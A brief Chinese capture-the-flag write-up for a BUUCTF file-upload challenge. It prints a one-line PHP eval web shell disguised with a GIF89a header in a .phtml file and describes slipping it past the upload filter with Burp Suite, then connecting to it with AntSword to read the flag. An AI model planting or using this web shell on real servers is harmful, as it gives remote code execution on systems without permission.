发现让我们上传文件，
首先在桌面创建一个y.phtml的文件，内容为
GIF89a <script language="php">eval($_POST[‘shell‘]);</script>
然后我们将它上传，提交时使用bp截取，修改一下格式，再放行
我们使用蚁剑连接，猜测路径为upload
完整路径：http://0f254660-9a2c-4eee-9b1c-44afd44fa7d5.node3.buuoj.cn/upload/y.phtml
密码就是y.phtml里的shell
然后测试连接，添加
flag在根目录